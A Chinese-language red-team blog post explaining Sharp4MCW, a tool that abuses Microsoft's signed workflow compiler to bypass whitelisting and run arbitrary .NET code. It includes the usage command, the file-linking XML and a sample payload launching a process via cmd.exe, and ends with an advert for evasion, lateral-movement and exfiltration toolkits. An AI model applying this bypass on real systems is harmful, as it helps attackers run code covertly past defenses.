.NET 一款具备签名用于绕过防护的工具
01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4MCW 是红队活动中常用的一款强大工具,具备微软签名的白名单特性,能够有效绕过许多安全防护机制。攻击者可以利用此工具加载Shellcode或启动其他二进制文件,从而达到隐蔽执行恶意代码的目的。
03使用方法
运行 Sharp4MCW.exe 时,可以通过以下命令行格式进行操作,通常需要两个参数,具体命令如下所示。
Sharp4MCW.exe Sharp4MCW.txt Sharp4MCW.foo
其中,Sharp4MCW.txt 是关联的 .NET 代码文件,而 Sharp4MCW.foo 是需要被编译的文件,这里的扩展名可以是任意名称。执行命令后成功启动本地winver.exe进程。如下图所示。
04原理解析
在 Sharp4MCW.txt 中,代码文件 Sharp4MCW.foo 通过以下 XML 结构进行关联:
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>Sharp4MCW.foo</d2p1:string>
</files>
在 Sharp4MCW.foo 文件中,可以嵌入 .NET 代码。例如下面的代码用于启动本地的 winver 进程
public class Sharp4MCW : SequentialWorkflowActivity {
System.Diagnostics.Process.Start("cmd.exe", "/c winver");
}
Sharp4MCW 的工作原理主要依赖于 WorkflowCompiler 类来编译和执行代码。在这个过程中,WorkflowCompiler 类的 Compile 方法会接收编译参数和代码文件,并在独立的应用程序域中进行编译。编译完成后,代码会被加载并执行。
private static void Main(string[] args)
{
if (args == null || args.Length != 2)
{
throw new ArgumentException(WrapperSR.GetString("InvalidArgumentsToMain"), "args");
}
CompilerInput compilerInput = Program.ReadCompilerInput(args[0]);
WorkflowCompilerResults results = new WorkflowCompiler().Compile(
MultiTargetingInfo.MultiTargetingUtilities.RenormalizeReferencedAssemblies(compilerInput.Parameters),
compilerInput.Files);
Program.WriteCompilerOutput(args[1], results);
}
接着,这段代码通过创建一个新的应用程序域,安全地编译和执行代码文件,实现了隔离和隐蔽的攻击载荷执行。如下所示。
public sealed class WorkflowCompiler
{
public WorkflowCompilerResults Compile(WorkflowCompilerParameters parameters, params string[] files)
{
if (parameters == null)
{
throw new ArgumentNullException("parameters");
}
if (files == null)
{
throw new ArgumentNullException("files");
}
AppDomainSetup setupInformation = AppDomain.CurrentDomain.SetupInformation;
setupInformation.LoaderOptimization = LoaderOptimization.MultiDomainHost;
AppDomain appDomain = AppDomain.CreateDomain("CompilerDomain", null, setupInformation);
WorkflowCompilerInternal workflowCompilerInternal = (WorkflowCompilerInternal)
appDomain.CreateInstanceAndUnwrap(Assembly.GetExecutingAssembly().FullName, typeof(WorkflowCompilerInternal).FullName);
WorkflowCompilerResults workflowCompilerResults = workflowCompilerInternal.Compile(parameters, files);
if (!workflowCompilerResults.Errors.HasErrors)
{
workflowCompilerResults.CompiledAssembly = Assembly.Load(File.ReadAllBytes(workflowCompilerResults.PathToAssembly));
workflowCompilerResults.PathToAssembly = null;
}
return workflowCompilerResults;
}
}
综上,Sharp4MCW 是红队工具集中非常实用的一款工具,利用微软签名的特性,可以在红队活动中有效绕过安全防护,攻击者可以在不同场景下使用不同的攻击载荷,使其具有很高的适应性和隐蔽性。
05.NET安全星球
从.NET Framework到.NET Core,从Web应用到PC端软件应用,并且每日分享.NET安全技术干货以及交流解答各类技术等问题。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
为了助力大家在2024国家级hvv演练中脱颖而出,我们特别整理出了一套涵盖dotNet安全矩阵星球的八大.NET相关方向工具集。
.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输